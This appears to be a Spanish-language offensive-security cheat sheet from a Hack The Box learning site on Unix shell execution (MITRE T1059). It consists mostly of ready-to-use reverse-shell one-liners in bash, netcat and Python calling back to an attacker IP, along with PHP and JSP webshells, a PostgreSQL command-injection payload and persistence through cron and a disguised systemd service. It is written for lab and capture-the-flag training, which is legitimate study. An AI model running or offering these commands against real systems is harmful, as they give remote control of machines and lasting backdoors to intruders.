Shell de Unix
Subtécnica de T1059 Intérprete de comandos y scripts ↗
Ejecutar comandos con bash o sh: reverse shells, one-liners y scripts.
Cómo aparece en Hack The Box
Tras cualquier ejecución de comandos en Linux toca conseguir una reverse shell y estabilizarla (pty, stty raw -echo) para poder usar sudo, su y el autocompletado.
Todavía no hay máquinas del catálogo con esta técnica: practícala con los comandos y las guías en tu propio laboratorio.
Guías
- Reverse shell que no conecta o se cierra: cómo arreglarla 3 min de lectura Por qué una reverse shell no llega, se corta al momento o muere con Ctrl+C, cómo diagnosticarlo paso a paso y cómo dejarla como una terminal completa en Linux y Windows.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Generador de reverse shells › Linux
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
El bash -c del principio hace falta si el comando lo ejecuta sh (por ejemplo, desde una inyección de comandos).
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("bash")'
Generador de reverse shells › Webshells
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?>
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"
<% Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/443 0>&1"}); %>
Generador de reverse shells › Windows
stty raw -echo; (stty size; cat) | nc -lvnp 443
Mejorar la shell a una TTY completa › Con script
script /dev/null -c bash
stty raw -echo; fg
En zsh escríbelo así, en una sola línea. Al pulsar Enter no verás lo que escribes, y es normal.
Mejorar la shell a una TTY completa › Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
Payloads de inyección SQL › PostgreSQL
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"';--
C2 y post-explotación › Persistencia
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/10.10.14.5/443 0>&1") | crontab -
printf '[Service]\\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"\\n[Install]\\nWantedBy=multi-user.target\\n' | sudo tee /etc/systemd/system/upd.service
sudo systemctl enable --now upd
Ningún comando coincide.